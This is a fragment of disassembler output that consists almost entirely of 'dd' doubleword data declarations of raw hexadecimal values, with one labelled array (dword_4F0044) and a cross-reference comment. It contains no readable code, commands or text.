		dd 0E3394A8Fh, 0A2579A8h, 83C3B8A6h, 646DEDEFh,	0BC75E9C4h
		dd 215D06D3h, 0F8B91C57h, 24B69C42h, 0EB2030CFh, 0DD268859h
		dd 509CF5Bh, 0A0EFE366h, 0E016B050h, 0CFDBC44h,	808A2858h
		dd 8A5306DFh, 7103C34Ah, 680B9E24h, 0E2C8DC4h, 16908A8Fh
		dd 0B9125BACh, 0E919BB09h, 0A930E3BEh, 0D3818FCCh, 0FB43C1C2h
		dd 1DC23F23h, 1C088DEAh, 580CD12Bh, 9210BF42h, 5B12F596h
		dd 690B04BAh, 0E8050BCEh, 5EE668F0h, 0C7B8CD4Dh, 27E1774Fh
		dd 0AA1BB820h, 0E30AFFEDh, 40EC37BFh, 43EC64CEh, 7753B794h
		dd 69610923h, 87EA62DCh, 3A42EB0Bh, 9FAA9657h, 0E916EC46h
		dd 6C530AABh, 59330EFAh, 0F7C6478Eh, 0D75006DFh, 313EC79Eh
		dd 3CB1CEE6h, 0D0E98B8Fh, 0CCBB665Ah, 4777D0B7h, 0FAEA233Ch
		dd 26C9054Fh, 9F12F5F4h, 0F2816AE8h, 0E58F1B0Fh, 3718A5C5h
		dd 0E2CA28BBh, 0C6D5335Bh, 8EF93991h, 0BF4E607h, 12EED13Eh
		dd 6E64AC7Fh, 23AFC0D5h, 0BBCB5633h, 33DD3FC0h,	0CB06C1BAh
		dd 402D367Eh, 6BC30711h, 84052725h, 0BD41C0DBh,	545A189Bh
		dd 0D0998B0h, 9001E9F5h, 0FEDF3052h, 0D9F6C91Eh, 87F0A4D3h
		dd 13EB2D80h, 116A6838h, 4D080093h, 3BAC24B9h, 0EC214A5h
		dd 0DE4B32F5h, 0A0BB518Fh, 0EB099365h, 54F00EF5h, 63280040h
		dd 95E91F24h, 245BEA6Ah, 0A25B0411h, 7ADF4176h,	0EA99088Bh
		dd 0E65102E4h, 0F1FA4B0Ch, 39F04D14h, 0AB9C5A7Ah, 520F40B3h
		dd 585A5002h, 5F03E2C1h, 84E7998Dh, 3AAEE9AAh, 7E7743ADh
		dd 77B29FA1h, 3A87AC2h,	8776B2ABh, 598D0041h, 0D9052FF9h
		dd 0F853C321h, 647B14F1h, 0DBAFC207h, 50EB2D00h, 89872F02h
		dd 78537341h, 815A003Eh, 0E7560BC6h, 0CE012C47h, 2F082008h
		dd 8905E8E9h, 9CFBD5Fh,	0DC3AEA68h, 0ACC8C529h,	0B8C193D0h
		dd 0C82F6073h, 0BFD895D6h
		dd 13CDBD33h, 0C1525FE5h, 0DEF831BAh, 0F427A05Ah, 0A52173A3h
		dd 186C5774h, 0C854045Dh, 84CB014Fh, 8F08130Fh,	0E4615EFDh
		dd 0D75507E9h, 7957A072h, 1EBA42E6h, 0E99B4057h, 5CBE5D5Bh
		dd 7C707460h, 0CC106F4h, 5440144Ch, 0B6730400h,	49D2C40h
		dd 0E930A076h, 3B63EC65h, 0E0A91649h, 55F28h, 19126D11h
		dd 703FF72Dh, 7CC7285Ch, 14E507A3h, 2A05EE11h, 71CDE5Dh
		dd 647A878Dh, 0E547C040h, 0B490B75Ch, 0A8E7849h, 69134468h
		dd 0E0741740h, 0B4E92C07h, 0FC5F9275h, 2ABC927Ah, 0F1E18486h
		dd 0C06DB998h, 0C8C2B14Fh, 0DD28D447h, 0EEA4E830h, 96D959E9h
		dd 28F6409h, 88A14A89h,	3B2CCB68h, 6FBDCCh, 8174D047h
		dd 663E28EDh, 0CEE0E09Fh, 171D0282h, 0F0E9E831h, 0BA122F5Ch
		dd 0D705E0B3h, 0C4171868h, 5D37923Fh, 0A4CF35FCh, 44D82E76h
		dd 0E5415B44h, 0F2B8FCE0h, 0F62EA993h, 92895925h, 0EBFB8CBEh
		dd 3FA05816h, 80EA6282h, 4F685E08h, 115D9B7Bh, 0FDCC5002h
		dd 7B2284Bh, 134CB443h,	428FDD5Eh, 1079AFA1h, 0D98BF90Bh
		dd 315C05A6h, 9F8CC2D8h, 5BAC74D9h, 86074444h, 0F6EC21E7h
		dd 520897D5h, 1AFCC1A0h, 518C61E9h, 44254E71h, 6FC2649Ch
		dd 1494BF89h, 0D08A94AAh, 0C166E986h, 276C449Fh, 154C068h
		dd 1D338188h, 0D9489552h, 2958BD00h, 685125DBh,	0E01F8209h
		dd 40AD869h, 5C8F65BBh,	8295B846h, 5F13E568h, 5A904B98h
		dd 0EB3BF934h, 0BB1C65BAh, 2B314B01h, 7E202DC8h, 6F2579B7h
		dd 68AE0C7Bh, 0F1CF07F2h, 3F4D0254h, 8C0FC8Ah, 311EB2B0h
		dd 1EB8303h, 13C2EF87h,	0AF0A7BCAh, 0DA094A73h,	7A9B7C5Bh
		dd 1A65C529h, 4AC1E984h, 5E980E13h, 0C3AED30Eh,	0B8B652A3h
		dd 0F6FBEED8h, 0C6FEDE02h, 5320DAE9h, 0E49EB369h, 492B77Bh
		dd 0BD0B254Fh, 2545FB5Dh, 0DF5A7DEEh, 126138B5h, 29D0462Eh
		dd 5E50B9F5h, 5FD6A8EDh, 0E25BA7F9h, 5E53DBAAh,	0A9550482h
		dd 0D7BA008Ah, 0F4711854h, 0F824FB89h, 341E4BB0h, 0ED8AAFCDh
		dd 411B6809h, 0A7C2D230h, 7B6A79BAh, 0D240C65Dh, 3F45B641h
		dd 0C9ADF029h, 0E1F62660h, 6899489Fh, 97345423h, 0BECD4020h
		dd 7E0AD3A0h, 51DCB904h, 0D2AB5804h, 2B7AC1B4h,	3AF6E919h
		dd 0A4302B7h, 5CC134BAh, 3739809Fh, 595A40B6h, 90169824h
		dd 1E82DAB3h, 0B7C0ED12h, 0D083C88Eh, 7AC05C43h, 0E1F7606Bh
		dd 606EAC05h, 0E84867B0h, 9B08418Eh, 0E09BDBEBh, 587E0550h
		dd 2107D96Fh, 6079FC7Dh, 0CCB569F6h, 5D56A904h,	0F6F9315Eh
		dd 40685806h, 21F4CF19h, 0EBA5B696h, 0EE49D9AAh, 58C1D86Bh
		dd 8609184Ch, 0FB989B9h, 6DAC533Ch, 492BA646h, 0DCBEB5Eh
		dd 9B8DFA4Ch, 2D992A3Dh, 1B2E704h, 4A02B3D7h, 0B21049FCh
		dd 89550E2Eh, 0CBEA49C5h, 57AAF38Dh, 0D912CFB7h, 0DD28FE5Bh
		dd 0C8CE9C5Ch, 0E9EB8218h, 0E65F41FFh, 0D47159D3h, 69636805h
		dd 0CB881EA1h, 0A9F9196Ch, 351D103Fh, 9E20C158h, 50780176h
		dd 0AF9CF224h, 0F6B95E40h, 104F1F72h, 85D4A431h, 0FBE82605h
		dd 5036F800h, 0FF29567Eh, 5D080B04h, 0D231AB99h, 1AF641h
		dd 704F9DB8h, 120D7699h, 0AC563569h, 5B570169h,	19054ADBh
		dd 40E30AF8h, 5B983129h, 0DB5AECA1h, 888F66C9h,	0F88CBBAh
		dd 0F4E0ADBFh, 75E78151h, 3950F1E0h, 190938CEh,	0FC4F215Bh
		dd 2DCF0105h, 0FC655C75h, 6B18F8EFh, 720C62DEh,	7C937286h
		dd 2FDE9083h, 9F9BB17Ah, 9797A3C9h, 75ACAD10h, 33900C0Dh
		dd 0A3D46B58h, 18E939C0h, 67E4973Dh, 2D2ADDF1h,	488505B5h
		dd 0B6102F8Ah, 8408419Fh, 0F847201Ch, 5ED15082h, 1C592D00h
		dd 0EEEB96BDh, 945A68Dh, 67BDB601h, 0AA2022C2h,	0C0383F34h
		dd 0B2EE1DF6h, 110D26Dh, 0B665EB0h, 0DF0C9D63h,	243FA20Ch
		dd 0A1F50003h, 0E9F3890Fh, 0A593E23Ch, 11195809h, 0B65115A4h
		dd 5FD6D2F6h, 21E643E1h, 1112CDD0h, 9826E02Ah, 6B101E58h
		dd 0AD1E4A11h, 847F7B6Fh, 0A4C0A7E9h, 521D1D97h, 0E381018Ah
		dd 21E476CCh, 173FF3F0h, 815A807Fh, 45C2014Bh, 2C7DA8FFh
		dd 0FD1642ACh, 53043F18h, 7CE277B3h, 12B213D3h,	89F48120h
		dd 0D034479Eh, 10E9BC9h, 4E5150CCh, 0D0FF8341h,	6BA4BB7h
		dd 608DEAB7h, 9D37CEADh, 1EC2B7A3h, 0DAC12D03h,	0DA3A3557h
		dd 5F1D458h, 0A802055Ch, 0E58BDF53h, 0C4601B8Fh, 5F51FDD2h
		dd 753718C0h, 0C89D02F6h, 955AD7B1h, 6EE779F2h,	41FF8898h
		dd 3AEA41C6h, 0D8CA2B01h, 4028B551h, 0E710AD3Bh, 0D1011905h
		dd 0DFE09EB0h, 0B45A4A79h, 8BBF992Fh, 98AD4CBEh, 0DBE40BAh
		dd 4F1239h, 1DD62D13h, 9051756h, 3208C10Bh, 3FAAD128h
		dd 5EA81202h, 0AD62F301h, 0EF1C080Ch, 717FD2FCh, 2829E5B7h
		dd 0DAE74862h, 0ADE94E06h, 303B7693h, 85D9A4E2h, 709A5EA5h
		dd 88B414E9h, 13D6B514h, 0FCE93D13h, 0FFD601C4h, 0AE99261h
		dd 0FB3B6829h, 458AAFA7h, 28610F1h, 0E380E4B3h,	17DEF4DCh
		dd 8A760BF3h, 28D97E82h, 0E5FB9640h, 0F685380h,	15543EA3h
		dd 5960E269h, 0D095F3BFh, 29E489CBh, 4B105920h,	548CE4CEh
		dd 7B6084E2h, 0E81885D6h, 37E930CBh, 5FF929E3h,	0A031C9F1h
		dd 0D29DAB10h, 0B540F81Dh, 5D9A0846h, 756F5E50h, 0C6BD67C0h
		dd 0F4A6D8D7h, 14AD614Fh, 0C880EA86h, 44BF2826h, 0CBE5B73Ah
		dd 0E4E35517h, 0CE89560Eh, 6EE9F541h, 0CF776211h, 0D2B7A5D6h
		dd 296877CCh, 0A6F33B61h, 1FB0374h, 81CC25F7h, 89FA68BBh
		dd 5869E911h, 2D5D02C7h, 529169Fh, 7821E70h, 0BAABD389h
		dd 5E27614Dh, 6F624985h, 0F8348B5Dh, 0DCBF30B7h, 0B1D2EA1Bh
		dd 89AFD812h, 4FFCB510h, 0D84AC4E3h, 1CA04409h,	0C187BE1h
		dd 1E0C47BBh, 16B82F3Fh, 5712A2F0h, 0E5ED4B34h,	48C40210h
		dd 0AFD82C16h, 6F3179ADh, 62E0F9E9h, 6197B6BBh,	573131A3h
		dd 3FC2C26Ah, 0C780EF56h, 39D5360Fh, 9CE8BD59h,	0D9E1AACh
		dd 0FAD121E2h, 3A34E9D9h, 5957BC58h, 0F3600AEFh, 0E3286DB4h
		dd 0A09E5865h, 5C8538AEh, 774B6879h, 12B67531h,	41AD293Ah
		dd 7E936A63h, 9C1E4D8Ch, 0F930025Ch, 0A363805Bh, 2A0895D9h
		dd 0EBCB65B2h, 32842682h, 0CD6D2275h, 2DAD0026h, 8E013DD5h
		dd 0BA30558h, 1C216610h, 64078AF2h, 6D0D6000h, 9850574Dh
		dd 82F14EF6h, 2FDC1B3h,	55B6A19Dh, 0CAFC649Ch, 294BD4Bh
		dd 0C860EFC2h, 0BDB76872h, 0A2D187E6h, 5F874BB8h, 55F1CF82h
		dd 0D8C2F646h, 0F954EE68h, 1E798083h, 58BD2D63h, 30002AE2h
		dd 54F0ED81h, 5101482Bh, 8C2C8DC5h, 0BB0D755Fh,	0A2E69E16h
		dd 6CCD2236h, 65319A16h, 580EC30Bh, 24B87CCBh, 9BC1427h
		dd 0E30048D0h, 428B3205h, 0E6E48D90h, 7098EE72h, 0CCE9916Eh
		dd 40315D66h, 0E734C0C2h, 9F040604h, 31EB29BDh,	62053034h
		dd 1BF5048Fh, 90AB2D74h, 976F071h, 29B4F48h, 58F5D5E5h
		dd 1D90A89h, 1B83D4A1h,	0B8E62B29h, 7B99680Ch, 0E99FD485h
		dd 0B72FE304h, 0D15E289Dh, 0E8BAC120h, 0C2E09DE5h, 0CA09D7E4h
		dd 4AEE29CBh, 71A9D1C1h, 51B63498h, 0D3AA29Dh, 6A6477B9h
		dd 89A08D13h, 8DEE900Eh, 547E5FF0h, 96125CF0h, 9280E8E6h
		dd 18262CABh, 0B843FD40h, 7E720A7Bh, 2885311h, 0F4A2F4Fh
		dd 4FA18050h, 6BFDC9D7h, 0E90C6D8Bh, 0C69BA9DCh, 1E18BC05h
		dd 8B25B6Ch, 0CD2D1AD1h, 0DF42750Bh, 0BB790676h, 958A0956h
		dd 0E9FCC664h, 7196C52Dh, 0BF1C8B63h, 0E0A7EE7Eh, 7A3BC1D2h
		dd 0D3765843h, 0E1DC0828h
		dd 87CE2910h, 0BFDEF150h, 0E6F4C415h, 765906C6h, 0A2463C08h
		dd 0A5080E1Eh, 61ABA442h, 81297DCFh, 6B03EBBFh,	0ADB5256Fh
		dd 0D77A893Ah, 6B4BFB92h, 0F76494BDh, 40E90B94h, 0C76E6E97h
		dd 440F6A9Ch, 0BAEAC47h, 66235DE9h, 5688F2C1h, 2F7B1D94h
		dd 0FD68FAE3h, 311C0AE8h, 0F2DD92C8h, 8708D658h, 0D5F716EEh
		dd 0C190B56h, 415F3E42h, 0DC7E1C17h, 0F9975C82h, 16D4A4B4h
		dd 685D803Eh, 469E7CA4h, 5BA18C64h, 0C09AB13Ah,	0B21752E8h
		dd 4804FE59h, 0F117AC25h, 51343E3Ah, 4F30BED7h,	3C2D11FAh
		dd 0D1716E6h, 0E0729153h, 0F0205E2h, 0C169A656h, 0FE255E59h
		dd 163FCE6Ah, 3EA83B66h, 181EE10h, 5EF7315Bh, 0DB6CFA29h
		dd 12A33B84h, 0D07C9180h, 30A69019h, 0F9B1F390h, 3E5B9B68h
		dd 508F5930h, 0E9631384h, 2AF7B180h, 0E24057F6h, 3F1527FCh
		dd 3DA71401h, 7F1930A6h, 0B3252554h, 0DE304317h, 0D7B13900h
		dd 1D80D1F6h, 64E908E1h, 57568034h, 220F9868h, 0B75F0E3Bh
		dd 5B3CF7h, 6575B65Eh, 39E5986Fh, 48A650FEh, 64E98947h
		dd 5B128376h, 7BB2D5FCh, 644FBA50h, 0CB610BE1h,	0E278F3A5h
		dd 299D4559h, 5202C905h, 0B1071068h, 173A39FBh,	0F0EFBD92h
		dd 0E75BF830h, 0A989E9E8h, 48C168DDh, 0A01B6C66h, 0D7B24F21h
		dd 437C74D8h, 0FDD0E84Eh, 485762C6h, 0F700F646h, 1EB66487h
		dd 0D2C8FA89h, 0F2823EE2h, 5C8C3B30h, 0F74F35C0h, 89039C05h
		dd 8F095AD5h, 90D68006h, 9802332Ah, 1A480CB0h, 157A2BA0h
		dd 3951DF40h, 6C03D588h, 5A590187h, 80C6F397h, 77F61E3Fh
		dd 4D85174Dh, 0D3F64B22h, 9FEBE5C6h, 13A8C63Eh,	50EB5FA9h
		dd 0E90C086Ah, 0C527D8DBh, 0FC16660Ch, 1351AC7Ch, 0F86C8B2Dh
		dd 3802D6EEh, 0C1351C98h, 0C86ED59Dh, 5912E298h, 0F90A5406h
		dd 938885Eh, 7F71ED11h,	0FA04231Ah, 9DB900CCh, 7B640BACh
		dd 0D3C59F29h, 0AF20FC25h, 0A4DD199Ah, 0A8A5CBE6h, 1E59EF63h
		dd 61235B04h, 49AE8001h, 0E4A15EDh, 0B18C8F8h, 0F18078C9h
		dd 0F030CF25h, 3B1520BBh, 0B0217095h, 1D50A8Eh,	2F618D2h
		dd 2E331BB2h, 0D4500360h, 58FBDC2Dh, 589BE51h, 0D8725868h
		dd 6C069B5Eh, 0C8296FAFh, 13394B60h, 52BFF04Dh,	0F0E0B67Ah
		dd 0D09D5AECh, 535101C6h, 0EB8006B3h, 0E8B5DC0Bh, 20C512C1h
		dd 0FA525BDDh, 0C0826843h, 60567E6h, 0D69FB206h, 0C1E893D5h
		dd 0C2043599h, 0E587E70Bh, 3F29B338h, 652C1601h, 7F04F424h
		dd 0B03D407Bh, 0CAB753DDh, 90F78007h, 0C753CFFEh, 9F86840Ch
		dd 89CCFD29h, 0D81649E9h, 0A6F22916h, 89CC5C69h, 0F1EB42B1h
		dd 87F6909h, 0C527F6E7h, 58C4AE8Fh, 7F6848E9h, 0B808304Eh
		dd 88640B93h, 2138D086h, 50DB5FA0h, 0B2098228h,	4CC1B44Dh
		dd 34680A0Eh, 0B561D437h, 0EDEC6661h, 1593E93Fh, 0F668B086h
		dd 85E9D617h, 8867D2EDh, 20199256h, 0A99AA3A5h,	857D10CBh
		dd 35155E48h, 287E7CD5h, 0E6B2573h, 56305A6Ah, 9E45F3C0h
		dd 89048A37h, 17D0E9DFh, 7524F3F2h, 2CFF1654h, 0CE4006B3h
		dd 16C53168h, 1C35715h,	22C228B8h, 0C100A783h, 0B54F03E7h
		dd 0D331E7E9h, 84BFB93h, 9CF82F4h, 7B1E3276h, 458E7C01h
		dd 0F9E642A1h, 952A147Dh, 269D0F9h, 0DE150A5Ch,	0DB6662F4h
		dd 75090009h, 281D4435h, 20AA874Eh, 0AC12C88Dh,	7C015004h
		dd 0F9884CB7h, 98443421h, 686309FBh, 0C30473C0h, 0C40B13C5h
		dd 7D543DABh, 0C13816CDh, 7E30BE05h, 16D21AADh,	0D20BB978h
		dd 246872A0h, 0C0E16393h, 1D051998h, 51E1D113h,	0A2B83053h
		dd 0F2CF6F13h, 7F385102h, 295B9745h, 0F11159ACh, 0B9EF037Dh
		dd 0DBDDC919h, 0DF45BD50h, 375F3EF9h, 67CFD627h, 0D6DDB755h
		dd 0C0204AE8h, 9C304DA5h, 63171817h, 7EDA68C8h,	5455ECC6h
		dd 77F33B8Bh, 848EE9C2h, 0DCDEB7C9h, 0ACBC2895h, 521A9149h
		dd 0C392B5F7h, 95BB7D5Fh, 99D8B7Eh, 6DDE5639h, 831F87Dh
		dd 9E20FD82h, 0B341F6C5h, 0A429A67Eh, 328C6123h, 407F9D02h
		dd 0D0A45BCEh, 4915FADFh, 47B513A8h, 712844BEh,	7A0B12E6h
		dd 0B3498557h, 4C798FA8h, 0F82209EFh, 0BB4EE03h, 0B4E0D55h
		dd 9263830Eh, 7159C88Bh, 0B0045A6Ah, 2680D968h,	518703EEh
		dd 99EFEFEh, 0F6E6DED6h, 240B501Dh, 0DC313A4Dh,	5F5428C8h
		dd 2BD677EBh, 0E22033C4h, 1F7CB07Ch, 455B83C3h,	80CB014Bh
		dd 365D95ACh, 352D87B0h, 0F03613F7h, 0F274DE68h, 55592E1Ah
		dd 268000FBh, 15BD6122h, 585F6C3Eh, 4F7605D3h, 38C973EBh
		dd 1CFE7DE4h, 0E7E96FFCh, 9317785h, 0DB42AFFFh,	0F11F325Bh
		dd 95579D57h, 0E0D6B3F3h, 272D6831h, 0C27E7911h, 8100FBC5h
		dd 246D6BE6h, 3C76255h,	0DFAA92E2h, 4D39804h, 4FB1AB0h
		dd 727A156h, 3A725147h,	0D58007C7h, 0C2D883D6h,	7F17C3D9h
		dd 4BBAFD98h, 81F4F965h, 9DB5E950h, 0C99E0032h,	957F360Fh
		dd 10522450h, 86AC4EF4h, 0D428F15Ah, 1D127EF3h,	13FA89DAh
		dd 266DBF87h, 0ED5F743h, 5136C183h, 0F36A5AE9h,	8C800809h
		dd 0C80EA6E1h, 5B5639Dh, 173A0A31h, 0B072C41Bh,	6815AD03h
		dd 81B6691Fh, 13851474h, 305EC63Ch, 1192BB99h, 5676BC25h
		dd 79A08C2h, 3DEF709h, 0F31A5E95h, 3464E935h, 34E78938h
		dd 91A382E2h, 82309C7Fh, 78ED7F89h, 68842824h, 0D9BE3A73h
		dd 4AF637C3h, 39AB4E84h, 25E86319h, 9F3C440h, 699C2B44h
		dd 0A9802458h, 824AE957h, 0D9EE4084h, 2856613Eh, 39A94A45h
		dd 5C278788h, 251C6A25h
dword_4F0044	dd 0ED595354h, 310F322Fh, 40130500h, 0D17F16ADh, 5CF000E0h
					; DATA XREF: ___:0043D31Co
		dd 76E91E49h, 27F1834Dh, 4FE646F5h, 6AA38950h, 78E94361h
		dd 0FD26372Ch, 0B80B08BBh, 7ED5010Dh, 0CDA0522Fh, 0A8F415Ch
		dd 0A9D93A01h, 4540E240h, 0F01A5EDCh, 237CBAE0h, 664846C1h
		dd 0B4214396h, 8168404h, 0B850DF60h, 427738CBh,	0C092359Fh
		dd 2C0551EEh, 461E677Ah, 0B2E791E9h, 592CDF49h,	6F0F0570h
		dd 730120A6h, 9088B10h,	900911E9h, 271EC4ADh, 890AA08Ah
		dd 5F220000h, 0FB0102B5h, 8820E90h, 25FF698Eh, 0F6255AC6h
		dd 0C023EAE9h, 0BD651DDDh, 2F20DA1Eh, 5954257Ah, 68505454h
		dd 31764E74h, 0A4E4DB28h, 0A0193CDh, 0CF01702Fh, 9CC0B33Eh
		dd 0DFA72267h, 0C2FDDC5Bh, 9B557E02h, 98C04EEFh, 0D34C9602h
		dd 560E8B6Eh, 0CE28C17Dh, 0A5F02B59h, 8D175A68h, 7F84E0D2h
		dd 3D60E39Ch, 0B83040B5h, 0C2A32E30h, 44754ABBh, 2A2BC89h
		dd 0D8520FEDh, 0BE285F2Ch, 0BB591208h, 5BE9092Ch, 0BFB203D3h
		dd 767A7D5Ah, 25ACF725h, 0EB587575h, 9D0B530Ch,	4E573C12h
		dd 0E2594FF0h, 80F62777h, 429FBF2Eh, 0BC7B786Ch, 0ECC00B25h
		dd 7B4A4B7Eh, 0E97D1827h, 95A89A5Bh, 742545E7h,	0FB41D2B8h
		dd 10EE3930h, 5E17AA93h, 0ED380D55h, 0B57C040Fh, 719C12Eh
		dd 0A400A78Ah, 0B915D91Fh, 3E5B2CF4h, 0A59A1631h, 4548EC44h
		dd 0A716FE3Dh, 87FAA4DFh, 63F3C0BFh, 8305B3CCh,	6CE9F021h
		dd 3548C9E8h, 11074CD8h, 78D4ADC5h, 40F33D92h, 4C1D2A87h
		dd 9D102E63h, 5ED74387h, 80C68AA2h, 6802B914h, 2EEA228Eh
		dd 5B0FFD59h, 402EFF49h, 0A54CDB69h, 9D2EEAB2h,	0F76939B1h
		dd 90177084h, 6C28026h,	0A85E05F0h, 55874EA2h, 0B87EE456h
		dd 0E9E34EDFh, 0D12FD63Eh, 0CA682381h, 32BB261Bh, 8050F15Ch
		dd 8F0EC1A4h, 56709F61h, 16E8D136h, 0F78A90ABh,	0C42EF530h
		dd 9458C15Bh, 358BBEE7h, 0A582925Fh, 3BFF0270h,	0D225DB91h
		dd 5232D073h, 51029D86h, 1AC55754h, 6E9EEECCh, 3BC65BBAh
		dd 0EB262708h, 45036C01h, 1F1FB054h, 196D1A44h,	0F0CF184Dh
		dd 229818BCh, 4F52884Eh, 0B8595C09h, 0EB55105h,	29CD8095h
		dd 0AB01ED64h, 0D9E64993h, 1E7EA0C5h, 7B4CFB18h, 90445E7Fh
		dd 0ECB050C6h, 0E2E13AE1h, 41C29821h, 0FC6CD840h, 2A0A3D5Eh
		dd 648688Bh, 0D895B720h, 95168C6Ch, 8A6847D9h, 0E1E0B70Dh
		dd 0A0A235D8h, 544C33Ch, 0C5681A82h, 24C3A346h,	5380C840h
		dd 0EF80F2B7h, 4B18F6F4h, 7879E216h, 6AE9EA55h,	0E4B24B13h
		dd 0F9C03DCBh, 0D812EEB9h, 46EAC3A7h, 1A7BBC82h, 0AC31F8B3h
		dd 6601EEC4h, 0D1F7C841h, 403001EBh, 852E1BFDh,	0E15EE871h
		dd 442BEF81h, 0B0F0E95Dh, 0B0BE5E62h, 37A0FC9Fh, 0A243D5F6h
		dd 9C54B577h, 2F159349h, 0A2C4BD8Eh, 4F2E849h, 64496857h
		dd 5A20CFAAh, 9AF073DCh, 0CEF6DEh, 6ECD7348h, 2EEC14Eh
		dd 3B0DD6B0h, 0C451D4Dh, 5C71E6DCh, 0DF345FD7h,	0C8C74495h
		dd 0F50617A4h, 2D5F4AE0h, 40447AA8h, 3AF58124h,	0C96BCD0Fh
		dd 5280A0C2h, 3C2F0FBAh, 0EA8272B1h, 14653032h,	127D480h
		dd 8F98A1B4h, 0DF052CE0h, 0E847E968h, 0C7CBC15Dh, 84B713Ch
		dd 183E764Ah, 0FD851545h, 8D0082D3h, 29C475BFh,	0E7585294h
		dd 6D1C1227h, 9B01EF3Bh, 89294414h, 0E9B06F3Ch,	129D3551h
		dd 410245E4h, 2F9638E9h, 0C5E1A489h, 0BE13D92Ch, 161EEAD8h
		dd 49AAE08Bh, 63C259FEh, 0EF16D96Ah, 0CB285800h, 3AEB8012h
		dd 94CD9A9h, 0F8EE72Fh,	75CA89FDh, 0A5BD8ADBh, 5FBD62EEh
		dd 0E917019Eh, 0AC89E508h, 5702BD02h, 661297CDh, 918123FFh
		dd 0A1057300h, 1415B18h, 72D51F0h, 0B2116F3Dh, 72C6022Eh
		dd 711A5413h, 32FD4916h, 0E908C062h, 0D5C8634Ch, 0E42004E8h
		dd 0B58B9786h, 2D1C70F0h, 735672B9h, 0F9259C09h, 0EE988B00h
		dd 3866BAF6h, 0D92966B3h, 869D895Eh, 0D3891A56h, 5129FAF6h
		dd 0ACCEDD3Fh, 9D421862h, 0D0F703EDh, 0DDFABBC0h, 64CBB327h
		dd 0EAAD80D2h, 7920E80Eh, 0B5FA5107h, 11C0806h,	71A25342h
		dd 7BF959E9h, 96C8082Ch, 6DFB2553h, 40F1F9C9h, 424E6853h
		dd 74018D25h, 0DEC0261h, 0ECFC0A95h, 7B45718h, 6C662D65h
		dd 91313684h, 83595EDFh, 47E329BBh, 115AB401h, 0C1A09740h
		dd 5E556880h, 0B8268C5Ch, 20B29A4Ah, 10D95026h,	0FE050FC0h
		dd 54F607CFh, 0A22F98DDh, 524E0028h, 9FE9FA88h,	5850C90Eh
		dd 0C1F60155h, 33007E6h, 605181F2h, 0CE5EB2CCh,	737FF6F2h
		dd 0BCD09149h, 61055A7Bh, 12073726h, 3F407A9Ah,	0D23F5CEBh
		dd 8AFFA04Fh, 54CC1413h, 78A65200h, 12F73F75h, 0C3EBE9DAh
		dd 8BB74BC6h, 205BB0E1h, 0F4CB5347h, 828FD1C9h,	20ACFA4Ch
		dd 612038D0h, 0EC801ECFh, 7CAB0944h, 3553DB33h,	4C484C84h
		dd 1B9C8611h, 80019D17h, 6F267368h, 94AFC234h, 13C1BFB9h
		dd 0A2D0EA08h, 0C920BF70h, 223B1499h, 2821296Dh, 28A10C09h
		dd 585D091Ch, 12736F04h, 0C53C940Eh, 67872E24h,	6ABA5AA1h
		dd 0A568C340h, 1DE7275Bh, 7641421Ah, 0D840480h,	7042E5A0h
		dd 0FFC39D2Ah, 315A7CF8h, 16DA0D04h, 90FB21EDh,	18CB47FFh
		dd 0AA88FF4Fh, 943130Eh, 40D2BD28h, 0BE065608h,	0D671470h
		dd 3053F854h, 74A0108h,	281FA825h, 9FA7884h, 9550F2Ah
		dd 882342F6h, 7927BCEEh, 6FE96286h, 5C128E74h, 2A313DFFh
		dd 0E90D2EA3h, 8157A7BFh, 77D0C7EAh, 8AF50A49h,	9686D6CEh
		dd 1001AD5Ah, 0D11215D8h, 0B0C11EE2h, 3ABD5557h, 6E5A0830h
		dd 18353CF5h, 0E452E76h, 4E4B568Bh, 2605DEE8h, 8206D761h
		dd 540B7ACBh, 45775235h, 72B50830h, 0C4605E14h,	0D71290EAh
		dd 91259596h, 3FC821D4h, 54A760DCh, 63FAEDC6h, 29A8B450h
		dd 4BF046CAh, 0E901E890h, 1794E05h, 0A56B59CAh,	580B0228h
		dd 0EE0DED56h, 0D76E7983h, 0F2A245E7h, 0FB4B73A9h, 248061C5h
		dd 267207E2h, 10E841DBh, 924807B3h, 883CD2F7h, 9A500885h
		dd 5025299Ch, 90DFFE10h, 2E00E60h, 42DE03B7h, 61A47197h
		dd 242D8AFFh, 136E904h,	0C702C0EBh, 335C036Dh, 6471068Fh
		dd 190C39D3h, 52445D5Fh, 0A3F30D6h, 0F68A840h, 64CE3569h
		dd 26D205C3h, 7C0D13E0h, 24430213h, 61010DBCh, 54AD734h
		dd 0DC20CD23h, 1B4588E9h, 5A7FA160h, 0E27BAC73h, 0C09FC4EEh
		dd 3126DD0Ch, 0C67E0116h, 0E90840E5h, 239FFC48h, 0EA5DF656h
		dd 0BF97C30Dh, 43A89EE4h, 5893A74Fh, 58B7E274h,	40BB04F4h
		dd 836C985Dh, 0D4A3CBCh, 1BE66E85h, 0BEC36216h,	0C84EC12Eh
		dd 0C2BF5AB2h, 0C025765h, 13C1FAC5h, 0EFC7D80Fh, 8A58E7F2h
		dd 0ACE91716h, 1E5A95B0h, 4902C683h, 9E55207Ah,	0FB459F9Ch
		dd 0A558E989h, 0AD6050DEh, 226D6EFh, 0C7011D8Bh, 6EFC94E9h
		dd 0A61A4527h, 130F1030h, 31ECE1C1h, 0BF405402h, 0BA804B03h
		dd 484ED427h, 62C8F6C0h, 0BD011BFEh, 80F7BE2h, 0AE2127A9h
		dd 51369868h, 4908BA0h,	5F0674C2h, 795CE683h, 4A407FBAh
		dd 5F278962h, 54E4E04Fh, 0E6558280h, 73659723h,	1C15E024h
		dd 6D3F48F4h, 0E52EF2E2h, 3A901972h, 0B8A8CB94h, 9C896FADh
		dd 6ADC8342h, 0C592F55Fh, 7F174075h, 446EB770h,	4AB2D3B5h
		dd 0D45E2D42h, 3635C959h, 31A1322Fh, 0C5D5B2F7h, 306A47Ch
		dd 7A9A33C7h, 3E8EC000h, 0EB291560h, 562F2768h,	0F8905C6h
		dd 106267D3h, 0A05A7570h, 187DD79Ch, 0EF278CB0h, 8B871AEh
		dd 4227E201h, 0E630FD8Ah
		dd 11BFD258h, 0B22E5CD5h, 0D9473850h, 700E0229h, 0BAF8293Dh
		dd 1427468h, 6A711A44h,	172AD85Bh, 6813D973h, 0D0F44ED3h
		dd 530ACB0Ch, 597B5A82h, 0FFEF60D5h, 8C7ED682h,	0EFB75B32h
		dd 0D50102DDh, 9DEB37E9h, 0A8332A77h, 0CDEB4974h, 6E3DC9AEh
		dd 482E0489h, 310E9CDBh, 8F34CDEh, 1B442D68h, 348D512h
